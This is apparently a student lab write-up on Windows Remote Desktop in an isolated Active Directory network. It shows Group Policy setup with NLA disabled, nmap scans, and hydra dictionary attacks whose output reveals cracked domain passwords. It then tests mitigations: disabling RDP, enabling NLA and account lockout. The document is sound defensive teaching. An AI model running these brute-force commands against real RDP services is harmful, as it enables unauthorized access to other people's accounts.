Overview
Explore attacks on Windows Remote Desktop as it relates to Active Directory.
Specific tasks
- Enable Remote Desktop on some workstations using Group Policy
- Demonstrate a dictionary password attack against the Remote Desktop services
- Examine some mitigation techniques that can be enforced by Group Policy
(This is a class project)
Network Setup
I am running this lab in a Virtual LAN (virtualbox) with 4 machines.
- 172.16.0.2 (dc): AD domain controller running DNS and DHCP (Windows Server 2022)
- 172.16.0.20 (kali): attack machine running Kali Linux
- 172.16.0.101 (ws1): Windows 10 workstation attached to the domain
- 172.16.0.102 (ws2): Windows 10 workstation attached to the domain
The AD domain is called pansenti.org
There is an custom OU named Headquarters.
In the Headquarters OU are the following
- Two workstations, ws1 and ws2
- Two non-privileged users miles and peter
- One domain security group RDP Users
The RDP Users group belongs to the BUILTIN/Remote Desktop Users group
Both miles and peter are in the RDP Users group.
Screenshot - Pansenti users and computers
Workstation Setup
I enabled RDP using AD Group Policy.
The GPO is called Enable Remote Desktop
There are 4 rules in the policy
Open tcp port 3389 inbound for the firewall
Screenshot - Allow inbound 3389 GPO Rule
Computer Configuration
Policies
Windows Settings
Security Settings
Windows Firewall with Advanced Security
Inbound Rules
Enable the RDP service
Screenshot - Enable RDP GPO Rule
Computer Configuration
Policies
Administrative Templates
Windows Components
Remote Desktop Services
Remote Desktop Session Host
Connections
Allow users to connect remotely by using Remote Desktop Services
Enabled
Disable Network Level Authentication Requirement for RDP
Screenshot - Disable NLA GPO Rule
Computer Configuration
Policies
Administrative Templates
Windows Components
Remote Desktop Services
Remote Desktop Session Host
Security
Require user authentication for remote connections by using Network Level Authentication
Disabled
Apply the policy to Local Computers using Restricted Groups
Screenshot - Restricted Groups GPO Rule
Computer Configuration
Policies
Windows Settings
Security Settings
Restricted Groups
Group: BUILTIN\Remote Desktop Users
Members: PANSENTI\RDP Users
With the above configuration we should first verify that things work as expected.
First a check that the RDP service is available on both workstations.
We can use Nmap for this
┌──(scott㉿kali)-[~/Desktop]
└─$ nmap -Pn 172.16.0.101,102
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-05 05:26 EDT
Nmap scan report for 172.16.0.101
Host is up (0.00091s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Nmap scan report for 172.16.0.102
Host is up (0.0012s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Nmap done: 2 IP addresses (2 hosts up) scanned in 6.92 seconds
Note that there is a listener on port 3389/tcp on both machines.
Nmap can give us a little more information about the RDP service using standard script plugins
┌──(scott㉿kali)-[~/Desktop]
└─$ nmap -Pn -sV -p3389 --script rdp-* 172.16.0.101
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-05 13:56 EDT
Nmap scan report for 172.16.0.101
Host is up (0.00047s latency).
PORT STATE SERVICE VERSION
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-enum-encryption:
| Security layer
| CredSSP (NLA): SUCCESS
| CredSSP with Early User Auth: SUCCESS
| RDSTLS: SUCCESS
| SSL: SUCCESS
|_ RDP Protocol Version: Unknown
| rdp-ntlm-info:
| Target_Name: PANSENTI
| NetBIOS_Domain_Name: PANSENTI
| NetBIOS_Computer_Name: WS1
| DNS_Domain_Name: pansenti.org
| DNS_Computer_Name: ws1.pansenti.org
| DNS_Tree_Name: pansenti.org
| Product_Version: 10.0.19041
|_ System_Time: 2022-05-05T17:57:00+00:00
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.75 seconds
This gives us the domain name (pansenti.org) in the case that we didn’t know beforehand.
Testing the setup
Kali comes with rdesktop a Linux remote desktop client.
Using it we can verify the RDP is working
Video: Example of rdesktop after initial setup
If you do not want to or cannot run the video…
Here is the command for a ws1 connection with user peter
┌──(scott㉿kali)-[~/Desktop]
└─$ rdesktop -d pansenti.org -u peter -p - 172.16.0.101
Password: ***
...
< window session started >
...
disconnect: Logout initiated by user.
And here is the command for the ws2 connection with user miles
┌──(scott㉿kali)-[~/Desktop]
└─$ rdesktop -d pansenti.org -u miles -p - 172.16.0.102
Password: ***
...
< window session started >S
...
disconnect: Logout initiated by user.
There is also the native Windows RDP client under
Start / Windows Accessories / Remote Desktop Connection
This is the probably the client most will use.
Dictionary Attack Demonstration
Next we want to demonstrate an attack on the RDP service and see if we can discover credentials with brute force.
There are a couple of standard tools in Kali to perform password attacks on remote services
I will be using hydra in the examples below.
Network attacks are inherently rate limited by the medium and the fact that we are relying on the response speed of the remote service.
We also need to be careful that we don’t overwhelm the service and bring it down accidently. We are not looking for a DoS.
Compared to hash cracking attacks on passwords, network attacks are very, very slow.
So slow that exhaustive brute force attacks, trying every possible password are not feasible.
Instead we will be doing a dictionary attack, using a predefined list of commonly used passwords.
Kali comes with a number of such common password lists.
For these tests I am using this one from metasploit which comes with Kali.
/usr/share/wordlists/metasploit/common_roots.txt
It contains 4724 commonly found root/Administrator passwords.
Note: I am using a slightly modified version of common_roots.txt copied to the Desktop. The original file has an empty line representing a blank password, but hydra has some issues with this. So the modified file has the one blank line removed.
In addition to a list of passwords we also need to provide the hydra with a list of users.
How we get the user list is a problem of a different sort that I will ignore here.
To speed things along, I am going to provide hydra a list of just the users I know exist
┌──(scott㉿kali)-[~/Desktop]
└─$ cat users.txt
Administrator
peter
miles
Because RDP gets flaky if it has to process too many simultaneous connection attempts, hydra will automatically restrict itself to 4 threads when attacking RDP. This means no more than 4 attempts at a time. I am explicitly providing the -t4 switch to avoid the nag warning from hydra.
Here is a hydra run against the ws1 workstation
Video: The hydra run successfully discovering passwords
┌──(scott㉿kali)-[~/Desktop]
└─$ hydra -t4 rdp://172.16.0.101/pansenti.org -L users.txt -P common_roots.txt
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak -
Please do not use in military or secret service organizations, or for illegal purposes
(this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-05-07 16:00:33
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14172 login tries (l:3/p:4724), ~3543 tries per task
[DATA] attacking rdp://172.16.0.101:3389/pansenti.org
[3389][rdp] host: 172.16.0.101 login: Administrator password: P@ssw0rd
[ERROR] freerdp: The connection failed to establish.
[STATUS] 4901.00 tries/min, 4901 tries in 00:01h, 9271 to do in 00:02h, 4 active
[3389][rdp] host: 172.16.0.101 login: peter password: Qwerty123
[ERROR] freerdp: The connection failed to establish.
[STATUS] 4869.50 tries/min, 9739 tries in 00:02h, 4433 to do in 00:01h, 4 active
[3389][rdp] host: 172.16.0.101 login: miles password: P@ssw0rd
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-05-07 16:03:03
The attack took about 2.5 minutes and found the passwords for the three users that have accounts enabled.
Of course they were not very good passwords, but still it proves that the methodology works.
Mitigating Attacks on RDP
There are a number of approaches to mitigating brute force attacks like the above.
- Disable RDP completely
- Enable NLA (network level authorization)
- Set an account lockout policy
- Configure a firewall that only allows certain hosts
- Use a VPN
We will take a look at the first three and how to implement them using Group Policy.
Disabling RDP
This is obviously the most secure approach and we can enforce this with Group Policy
Screenshot - Disable RDP GPO Rule
Computer Configuration
Policies
Administrative Templates
Windows Components
Remote Desktop Services
Remote Desktop Session Host
Connections
Allow users to connect remotely by using Remote Desktop Services
Disabled
We wouldn’t need the firewall rule opening tcp 3389 either, but even without removing that firewall rule we see the service is no longer listening
┌──(scott㉿kali)-[~/Desktop]
└─$ nmap -Pn 172.16.0.101,102
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-05 06:16 EDT
Nmap scan report for 172.16.0.101
Host is up (0.00068s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
445/tcp open microsoft-ds
Nmap scan report for 172.16.0.102
Host is up (0.00071s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
445/tcp open microsoft-ds
Nmap done: 2 IP addresses (2 hosts up) scanned in 12.14 seconds
What’s nice about disabling RDP via Group Policy is that users cannot reenable it locally.
Here is a screenshot from ws2 user peter trying to enable RDP
Screenshot - Cannot enable RDP on Workstation
Enable NLA
“Network Level Authentication (NLA) is a feature of RDP that requires the connecting user to authenticate themselves before a session is established with the server.”
In our simple network, this means a user must have already logged into a machine with valid credentials before using the RDP client to attach to another machine.
The Group Policy control for this is here
Screenshot - Enable NLA GPO Rule
Computer Configuration
Policies
Administrative Templates
Windows Components
Remote Desktop Services
Remote Desktop Session Host
Security
Require user authentication for remote connections by using Network Level Authentication
Enabled
Note: This is the default. I explicitly disabled it initially.
With this policy enabled, the RDP service is listening
┌──(scott㉿kali)-[~/Desktop]
└─$ nmap -Pn 172.16.0.101,102
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-05 09:11 EDT
Nmap scan report for 172.16.0.101
Host is up (0.0017s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Nmap scan report for 172.16.0.102
Host is up (0.0016s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Nmap done: 2 IP addresses (2 hosts up) scanned in 10.29 seconds
And very interestingly hydra password attacks still work
(Using an abbreviated password list to speed things)
┌──(scott㉿kali)-[~/Desktop]
└─$ cat passwords.txt
P@ssw0rd
Qwerty123
┌──(scott㉿kali)-[~/Desktop]
└─$ hydra -t4 rdp://172.16.0.101/pansenti.org -L users.txt -P passwords.txt
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak -
Please do not use in military or secret service organizations, or for illegal purposes
(this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-05-05 10:04:48
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8 login tries (l:4/p:2), ~2 tries per task
[DATA] attacking rdp://172.16.0.101:3389/pansenti.org
[3389][rdp] host: 172.16.0.101 login: Administrator password: P@ssw0rd
[3389][rdp] host: 172.16.0.101 login: peter password: Qwerty123
[3389][rdp] host: 172.16.0.101 login: miles password: P@ssw0rd
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-05-05 10:04:50
But actual rdesktop login attempts from Kali (a non-domain machine) now fail
Screenshot - Kali rdesktop fail with NLA enabled
┌──(scott㉿kali)-[~/Desktop]
└─$ rdesktop -d pansenti.org -u miles -p - 172.16.0.101
Password: ***
...
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Failed to connect, CredSSP required by server (check if server has disabled old TLS versions, if yes use -V option).
This is a nice discovery to tuck away.
Enabling NLA does NOT stop attackers from learning passwords.
Set an Account Lockout Policy
Another way to stop brute-force attacks is to rate-limit them with account lockouts.
The idea is that after X failed attempts we lock the account to prevent further attempts.
This does open up the threat of Denial-of-Service, but we can somewhat mitigate that by providing an automatic reset after some time.
Even if the lockout time is only 5 minutes, the delay will be enough to seriously slow down brute force attacks.
So here is the Group Policy, this time a modification of the Default Domain Policy because I could not get it to work using the custom Group Policy. This is a TODO issue.
Screenshot - Account Lockout Policy
Computer Configuration
Policies
Windows Settings
Security Settings
Account Policies/Account Lockout Policy
Policy
Account lockout duration: 5 minutes
Account lockout threshold: 3 invalid logon attempts
Reset account lockout counter after: 5 minutes
With this policy in place, we thwart hydra
Here I am telling hydra to only test the miles account
┌──(scott㉿kali)-[~/Desktop]
└─$ hydra -t4 rdp://172.16.0.101/pansenti.org -l miles -P common_roots.txt
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak -
Please do not use in military or secret service organizations, or for illegal purposes
(this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-05-05 13:29:21
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4724 login tries (l:1/p:4724), ~1181 tries per task
[DATA] attacking rdp://172.16.0.101:3389/pansenti.org
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-05-05 13:29:24
And if we check the user account on the domain server we see it is locked.
Screenshot - Locked miles account
But after waiting at least 5 minutes, the account automatically unlocks again.
Here I will run hydra providing the correct password so it only needs one try.
┌──(scott㉿kali)-[~/Desktop]
└─$ hydra -t4 rdp://172.16.0.101/pansenti.org -l miles -p P@ssw0rd
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak -
Please do not use in military or secret service organizations, or for illegal purposes
(this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-05-05 13:36:03
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking rdp://172.16.0.101:3389/pansenti.org
[3389][rdp] host: 172.16.0.101 login: miles password: P@ssw0rd
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-05-05 13:36:04
The number of failed attempts and lockout duration will likely need customization for each domain.
Summary
AD Group Policy provides a convenient way to configure or disable the Remote Desktop Service on Windows networks.
Remote desktop is vulnerable to brute-force attacks to gain access or just discover passwords.
There are several mitigation techniques available using Group Policy.